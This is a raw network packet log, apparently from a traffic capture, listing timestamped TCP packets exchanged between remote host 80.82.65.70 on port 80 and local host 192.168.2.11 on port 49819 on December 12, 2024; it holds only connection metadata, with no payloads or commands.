Dec 12, 2024 16:48:03.196389914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.196440935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.196580887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.196697950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.197181940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.197241068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.197278023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.197382927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.197962999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.198015928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.198054075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.198110104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.198713064 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.198834896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.198853970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.198914051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.199547052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.199590921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.199634075 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.199686050 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.200315952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.200396061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.200416088 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.200452089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.201083899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.201195955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.201226950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.201280117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.201919079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.201931000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.201983929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.202681065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.202737093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.202749014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.202791929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.203486919 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.203538895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.203669071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.203730106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.204214096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.204284906 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.204314947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.204361916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.204998970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.205045938 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.205087900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.205146074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.205782890 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.205862045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.205874920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.205924034 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.206527948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.206578970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.206609011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.206655025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.207360029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.207407951 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.207446098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.207518101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.208230019 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.208281040 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.208420992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.208491087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.208930969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.208993912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.209063053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.209120035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.209702969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.209754944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.209808111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.209857941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.210510969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.210561037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.210654974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.210705042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.211263895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.211354971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.211396933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.211447001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.212162018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.212169886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.212230921 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.212831020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.212888002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.212910891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.212956905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.213668108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.213736057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.213797092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.213848114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.214390039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.214435101 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.214479923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.214528084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.215157032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.215217113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.215224981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.215328932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.216056108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.216108084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.216180086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.216233969 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.216761112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.216824055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.216862917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.216919899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.217560053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.217613935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.217638016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.217699051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.218317986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.218393087 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.218414068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.218445063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.273927927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.274003983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.274041891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.274269104 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.274286985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.274333954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.274427891 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.274482965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.274935961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.275022984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.275079012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.275688887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.275742054 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.275779009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.275824070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.310522079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.310597897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.310673952 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.310806990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.310908079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.310966015 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.311012983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.311069965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.311678886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.311758041 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.311762094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.311814070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.312490940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.312551975 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.312586069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.312639952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.313218117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.313280106 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.313319921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.313374996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.314013004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.314096928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.314100981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.314168930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.314820051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.314930916 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.314992905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.315676928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.315736055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.315736055 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.315959930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.316332102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.316412926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.316468954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.317147970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.317281008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.317332029 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.317890882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.317975998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.317991018 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.318022013 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.318645000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.318694115 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.318774939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.319019079 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.319489002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.319540977 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.319547892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.319588900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.320242882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.320303917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.320343971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.320393085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.321007967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.321084023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.321122885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.321181059 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.321800947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.321858883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.321903944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.321957111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.322571993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.322715044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.322715998 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.322789907 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.323383093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.323436022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.323481083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.323559046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.324157953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.324274063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.324327946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.324942112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.325021029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.325073957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.388303995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.388362885 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.388385057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.388434887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.388566017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.388653040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.388680935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.388711929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.389219046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.389369965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.389394999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.389426947 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.390151024 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.390208960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.390295982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.390341997 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.390768051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.390851021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.390976906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.391304016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.391630888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.391686916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.391726971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.391776085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.392323017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.392384052 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.392400980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.392460108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.393117905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.393219948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.393224955 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.393311977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.393927097 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.393994093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.394062042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.394110918 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.394712925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.394802094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.394844055 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.394936085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.395478964 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.395612001 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.395642042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.395736933 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.396367073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.396425962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.396483898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.396533012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.397022963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.397083998 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.397265911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.397336960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.397844076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.397963047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.397965908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.398025990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.398639917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.398777962 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.398876905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.398968935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.399435997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.399507046 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.399580956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.399636030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.400172949 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.400227070 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.400312901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.400368929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.400933027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.401012897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.401110888 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.401158094 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.401719093 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.401774883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.401813984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.401864052 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.402535915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.402641058 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.402650118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.402720928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.403279066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.403403044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.403409958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.403500080 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.404145002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.404238939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.404275894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.404335022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.404886007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.404942989 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.405011892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.405061960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.405658960 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.405708075 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.406100988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.406188965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.406452894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.406507015 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.406599045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.406677008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.407181978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.407236099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.407324076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.407501936 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.407970905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.408025980 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.408138037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.408195019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.408734083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.408819914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.408956051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.409516096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.409632921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.409689903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.410317898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.410372019 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.410693884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.410762072 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.411237955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.411297083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.465977907 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.466053009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.466119051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.466284990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.466352940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.466516018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.466526031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.466623068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.466959953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.467026949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.467204094 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.467297077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.467783928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.467787981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.467854977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.502489090 CET	80	49819	80.82.65.70	192.168.2.11
